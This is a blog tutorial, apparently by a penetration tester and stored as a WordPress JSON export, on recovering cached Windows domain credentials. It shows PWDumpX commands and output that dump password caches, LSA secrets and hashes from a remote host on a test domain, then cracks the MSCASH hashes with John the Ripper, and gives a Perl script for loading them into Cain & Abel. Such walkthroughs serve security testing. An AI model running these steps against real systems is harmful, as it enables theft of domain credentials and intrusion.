{"id":47,"date":"2008-09-19T11:17:39","date_gmt":"2008-09-19T17:17:39","guid":{"rendered":"http:\/\/www.jedge.com\/wordpress\/?page_id=47"},"modified":"2014-01-22T21:47:22","modified_gmt":"2014-01-23T03:47:22","slug":"windows-password-cache","status":"publish","type":"page","link":"https:\/\/www.jedge.com\/wordpress\/windows-password-cache\/","title":{"rendered":"Windows Password Cache"},"content":{"rendered":"<p>Now with more Password Caching power! ==> <a href=\"http:\/\/www.jedge.com\/wordpress\/windows-password-cache-mscache-mscash-v2\/\">http:\/\/www.jedge.com\/wordpress\/windows-password-cache-mscache-mscash-v2\/<\/a><\/p>\n<p>Recovering Windows Password Cache Entries [<a href=\"http:\/\/www.jedge.com\/docs\/Recovering%20Windows%20Password%20Cache%20Entries.pdf\">pdf<\/a>]<\/p>\n<p>This document is ment to be a revised version of a tutorial found on Securiteam.com (<a href=\"http:\/\/www.securiteam.com\/tools\/5JP0I2KFPA.html\">http:\/\/www.securiteam.com\/tools\/5JP0I2KFPA.html<\/a>). The Securiteam.com document is no longer up to date and the links in the document no longer work.<\/p>\n<p>Windows domain users authenticate against a Domain Controller when they login. However, there are times when the Domain Controller is unavailable. To allow a user to authenticate Windows stores the password hash in the registry if they had previously logged on to the workstation or server. Windows stores by default the last ten users to authenticate on the workstation or server.<\/p>\n<p>The first utility to be able to extract these stored hashes was cachedump. This utility is no longer available from the original site but can be found if you search <a href=\"http:\/\/www.packetstormsecurity.org\">http:\/\/www.packetstormsecurity.org<\/a>.<\/p>\n<p>A new (now old as of 2010) utility, written by Read Arvin, has surfaced that includes the features of cachedump but allows it to be accomplished remotely. Reed&#8217;s site is no longer available. You can obtain PWDumpX from <a href=\"http:\/\/www.packetstormsecurity.org\">http:\/\/www.packetstormsecurity.org<\/a> <a href=\"http:\/\/packetstormsecurity.org\/Crackers\/PWDumpX14.zip\">here<\/a>.<\/p>\n<p>Description formally found at http:\/\/reedarvin.thearvins.com. See Internet Archive page <a href=\"http:\/\/web.archive.org\/web\/20080410033702\/http:\/\/reedarvin.thearvins.com\/tools.html\">here<\/a>.<\/p>\n<p><cite>Allows a user with administrative privileges to retrieve the domain password cache, the password hashes, the password history hashes and the LSA secrets from a Windows system. This tool can be used on the local system or on one or more remote systems.<\/cite><\/p>\n<p>Description from <a href=\"http:\/\/www.packetstormsecurity.org\">http:\/\/www.packetstormsecurity.org<\/a><\/p>\n<p><cite>PWDumpX allows a user with administrative privileges to retrieve the domain password cache, password hashes and LSA secrets from a Windows system. This tool can be used on the local system or on one or more remote systems. If an input list of remote systems is supplied, PWDumpX will attempt to obtain the domain password cache, the password hashes and the LSA secrets from each remote Windows system in a multi-threaded fashion (up to 64 systems simultaneously). The domain password cache, password hashes and LSA secrets from remote Windows systems are encrypted as they are transfered over the network. No data is sent over the network in clear text. This tool is a completely re-written version of cachedump, PWDump3e and LSADump2 which integrates suggestions\/bug fixes for PWDump3e and LSADump2 found on various web sites, etc.<\/cite><\/p>\n<p>Using PwdumpX to obtain password hashes. Note you must have a local administrator account on the server to obtain the hashes.<\/p>\n<p>For the purposes of this documentation I have created a test domain with test users.<\/p>\n<p><kbd>C:\\tools\\PWDumpX 1.4&gt;pwdumpx<br \/>\nPWDumpX v1.4 | http:\/\/reedarvin.thearvins.com\/<\/kbd><\/p>\n<p><kbd>Usage: PWDumpX [-clph] &lt;hostname | ip input file&gt; &lt;username&gt; &lt;password&gt;<\/kbd><\/p>\n<p><kbd>[-clph] -- optional argument<br \/>\n&lt;hostname | ip input file&gt; -- required argument<br \/>\n&lt;username&gt; -- required argument<br \/>\n&lt;password&gt; -- required argument<\/kbd><\/p>\n<p><kbd>-c -- Dump Password Cache<br \/>\n-l -- Dump LSA Secrets<br \/>\n-p -- Dump Password Hashes<br \/>\n-h -- Dump Password History Hashes<\/kbd><\/p>\n<p><kbd>If the &lt;username&gt; and &lt;password&gt; arguments are both plus signs (+), the<br \/>\nexisting credentials of the user running this utility will be used.<\/kbd><\/p>\n<p><kbd>Examples:<br \/>\nPWDumpX 10.10.10.10 + +<br \/>\nPWDumpX 10.10.10.10 administrator password<\/kbd><\/p>\n<p><kbd>PWDumpX -lp MyWindowsMachine + +<br \/>\nPWDumpX -lp MyWindowsMachine administrator password<\/kbd><\/p>\n<p><kbd>PWDumpX -clph IPInputFile.txt + +<br \/>\nPWDumpX -clph IPInputFile.txt administrator password<\/kbd><\/p>\n<p><kbd>(Written by Reed Arvin | reedarvin@gmail.com)<\/kbd><\/p>\n<p><kbd>C:\\tools\\PWDumpX 1.4&gt;pwdumpx -clph 192.168.186.129 administrator $3cr3tp@$$w0rd<br \/>\nRunning PWDumpX v1.4 with the following arguments:<br \/>\n[+] Host Input: \"192.168.186.129\"<br \/>\n[+] Username: \"itadmin\"<br \/>\n[+] Password: \"$3cr3tp@$$w0rd\"<br \/>\n[+] Arguments: \"-clph\"<br \/>\n[+] # of Threads: \"64\"<\/kbd><\/p>\n<p><kbd>Waiting for PWDumpX service to terminate on host 192.168.186.129.<\/kbd><\/p>\n<p><kbd>Retrieved file 192.168.186.129-PWCache.txt<br \/>\nRetrieved file 192.168.186.129-LSASecrets.txt<br \/>\nRetrieved file 192.168.186.129-PWHashes.txt<br \/>\nRetrieved file 192.168.186.129-PWHistoryHashes.txt<\/kbd><\/p>\n<p><kbd>C:\\tools\\PWDumpX 1.4&gt;<\/kbd><\/p>\n<p>For the purpose of this discussion we will be focusing on 192.168.186.129-PWCache.txt the contents of which are below.<\/p>\n<p><kbd>amaynard:D2FA469C6F8B6C6A6AB0EF012674E10A:PR:PR.LOCAL<br \/>\nAdministrator:A1879B482C07E0FD148B7996158242EB:PR:PR.LOCAL<br \/>\nctripp:2F08AA22D65AC34AE7160AC7A3A1946A:PR:PR.LOCAL<br \/>\nbwyatt:B871D41A7401F0E404094AFC899D51C3:PR:PR.LOCAL<br \/>\nssossei:C89181138FB89F896B21739B2EC9A14C:PR:PR.LOCAL<br \/>\nsevans:B1176C2587478785EC1037E5ABC916D0:PR:PR.LOCAL<\/kbd><\/p>\n<p>Cracking these password hashes can be accomplished a couple of ways. The original article from Securiteam.com references a patch for Openwall\u2019s John the Ripper password cracker. This patch is no longer available from the links provided on the site and the patch is for an older version of John which may be difficult to obtain as well. All is not lost. I have an already patched version of John available on this site that you can compile, install, and use to crack MSCASH password hashes.<\/p>\n<p>Download myjohn.tgz from <a href=\"http:\/\/www.jedge.com\/utilities\/myjohn.tgz\">http:\/\/www.jedge.com\/utilities\/myjohn.tgz<\/a><br \/>\nUnpack the Tarball and compile for you system. No need to install as you may already have a more updated version of John installed and we do not want to overwrite it. Just run the executable from the run folder. See below.<\/p>\n<p><kbd>root@edge-linuxpen:~\/downloads# tar zxf myjohn.tgz<br \/>\nroot@edge-linuxpen:~\/downloads# cd john\/src<br \/>\nroot@edge-linuxpen:~\/downloads\/john\/src# make generic<br \/>\nroot@edge-linuxpen:~\/downloads\/john\/src# ..\/run\/john --wordlist=\/home\/edge\/mangled.lst --format=mscash \/media\/EDGE\/192.168.186.129-PWCache.txt<br \/>\nLoaded 6 password hashes with 6 different salts (M$ Cache Hash [Generic 1x])<br \/>\nAsdf999 (sevans)<br \/>\nguesses: 1 time: 0:00:00:46 100% c\/s: 4515K trying: 8zyme - 8zzgl<\/kbd><\/p>\n<p>The password list used is from Openwall\u2019s CD they offer from their site for under $30 (<a href=\"http:\/\/www.openwall.com\/wordlists\/\">http:\/\/www.openwall.com\/wordlists\/<\/a>).<\/p>\n<p>I have written a quick tutorial on how to obtain the latest version of John, patch it with the Jumbo patch (includes support for MSCASH\/MS Cache). That tutorial can be found <a href=\"http:\/\/www.jedge.com\/wordpress\/?p=233\">here<\/a>.<\/p>\n<p>Another way to crack the password hashes is to use Cain &amp; Abel on Windows. Cain does not support importing of the PwdumpX hash file. The file will have to be manually changed to the format supported by Cain. The file that needs to be edited is the CACHE.LST file found in the root folder for the Cain application. Typically C:\\Program Files\\Cain<\/p>\n<p>PwdumpX file format: user:hash:domain:domain<br \/>\nCain CACHE.LST format: domain[tab]user[tab][tab]hash[tab]<\/p>\n<p>A simple Perl script is include below to assist in the file conversion.<\/p>\n<p><pre><code>\n#!\/usr\/bin\/perl\n\n$infile = @ARGV[0];\nchomp $infile;\nopen(INPUT, &quot;$infile&quot;)||die(&quot;Can&#039;t open file&quot;);\n@raw_data=&amp;lt;INPUT&amp;gt;;\nclose(INPUT);\n\nforeach $line (@raw_data){\nchomp $line;\n@temp = split(\/:\/, $line);\nprint &quot;$temp[2]\\t$temp[0]\\t\\t$temp[1]\\t\\n&quot;;\n}\n<\/code><\/pre><br \/>\n<kbd>C:\\&gt;cache_parse.pl 192.168.186.129-PWCache.txt &gt;&gt; \"C:\\Program Files\\Cain\\CACHE.LST\"<\/kbd><\/p>\n<p>When you open up Cain and go to the Cracker tab you will see the password hashes loaded under MS-Cache Hashes (<a href=\"http:\/\/www.jedge.com\/images\/cain_1.png\">screen<\/a>). From there you can conduct a dictionary attack to crack the hashes (<a href=\"http:\/\/www.jedge.com\/images\/cain_2.png\">screen<\/a>).<\/p>\n<p>Good luck cracking!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Now with more Password Caching power! ==> http:\/\/www.jedge.com\/wordpress\/windows-password-cache-mscache-mscash-v2\/ Recovering Windows Password Cache Entries [pdf] This document is ment to be a revised version of a tutorial found on Securiteam.com (http:\/\/www.securiteam.com\/tools\/5JP0I2KFPA.html). The Securiteam.com document is no longer up to date and the links in the document no longer work. Windows domain users authenticate against a Domain [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"open","ping_status":"open","template":"","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"class_list":["post-47","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/www.jedge.com\/wordpress\/wp-json\/wp\/v2\/pages\/47","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.jedge.com\/wordpress\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/www.jedge.com\/wordpress\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/www.jedge.com\/wordpress\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.jedge.com\/wordpress\/wp-json\/wp\/v2\/comments?post=47"}],"version-history":[{"count":15,"href":"https:\/\/www.jedge.com\/wordpress\/wp-json\/wp\/v2\/pages\/47\/revisions"}],"predecessor-version":[{"id":758,"href":"https:\/\/www.jedge.com\/wordpress\/wp-json\/wp\/v2\/pages\/47\/revisions\/758"}],"wp:attachment":[{"href":"https:\/\/www.jedge.com\/wordpress\/wp-json\/wp\/v2\/media?parent=47"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}